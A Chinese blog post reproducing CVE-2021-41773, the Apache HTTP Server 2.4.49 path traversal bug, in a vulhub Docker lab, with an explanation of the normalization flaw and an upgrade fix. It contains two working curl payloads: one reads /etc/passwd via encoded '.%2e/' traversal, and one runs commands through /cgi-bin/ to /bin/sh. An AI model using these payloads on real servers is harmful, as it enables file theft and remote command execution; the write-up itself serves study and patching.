Apache_HTTP_Server 2.4.49_路径穿越漏洞

Apache HTTP Server 2.4.49_路径穿越漏洞

Apache Http Server 简介

Apache HTTP Server(简称 Apache)是 Apache 软件基金会的一个开放源码的网页服务器软件,可以在大多数电脑操作系统中运行。由于其跨平台和安全性,被广泛使用,是最流行的 Web 服务器软件之一。它快速、可靠并且可通过简单的 API 扩展,将 Perl / Python 等解释器编译到服务器中。

Httpd(即 HTTP Daemon ,超文本传输协议守护程序的简称)是一款运行于网页服务器后台,等待传入服务器请求的软件。HTTP 守护程序能自动回应服务器请求,并使用 HTTP 协议传送超文本及多媒体内容。

CVE-2021-41773

CVE-2021-41773 是一个影响 Apache HTTP Server (httpd) 的安全漏洞,影响版本为 2.4.49 版本。它是一个路径遍历漏洞,如果文档根目录以外的文件不受 require all denied 保护,则攻击者可以访问这些文件。

同时,若 Apache HTTPd 开启了 cgi 支持,攻击者可构造恶意请求执行命令,控制服务器。

满足下面两个条件的Apache服务器将会受到影响:

  • 版本等于2.4.49
  • 穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的)

漏洞影响

  • Apache Http Server 2.4.49 引入。
  • Apache Http Server 2.4.50 未完全修复(CVE-2021-42013)。

Apache Http Server 路径穿越漏洞原理

在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 的路径穿越符。

当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断其后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。

如果路径中存在 %2e./ 形式,程序就会检测到路径穿越符。然而,当出现 .%2e/%2e%2e/ 形式,程序就不会将其检测为路径穿越符。原因是遍历到第一个 . 字符时,程序检测到其后两字符为 %2 而不是 ./ ,就不会将其判断为 ../ 。因此,攻击者可以使用 .%2e/%2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。

环境搭建

直接使用了vulhub的镜像

1
2
3
4
cd /root
docker run -d -p 10008:80 --name cve-2021-41773_container cve-2021-41773:latest
或者
docker start b4f29be1dd1e


默认界面

漏洞复现

文件读取

windows构造数据包,这里用curl(注意其中的/icons/必须是一个存在且可访问的目录)

1
curl -v --path-as-is http://101.x.x.x:10008/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

命令执行

1
curl -v --data "echo;id" 'http://101.x.x.x:10008/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

Apache Http Server 路径穿越漏洞修复

升级到 Apache HTTP Server 2.4.51 及以上版本。


Apache_HTTP_Server 2.4.49_路径穿越漏洞
http://example.com/2025/07/28/Apache_HTTP_Server 2.4.49_路径穿越漏洞/
作者
奇怪的奇怪
发布于
2025年7月28日
许可协议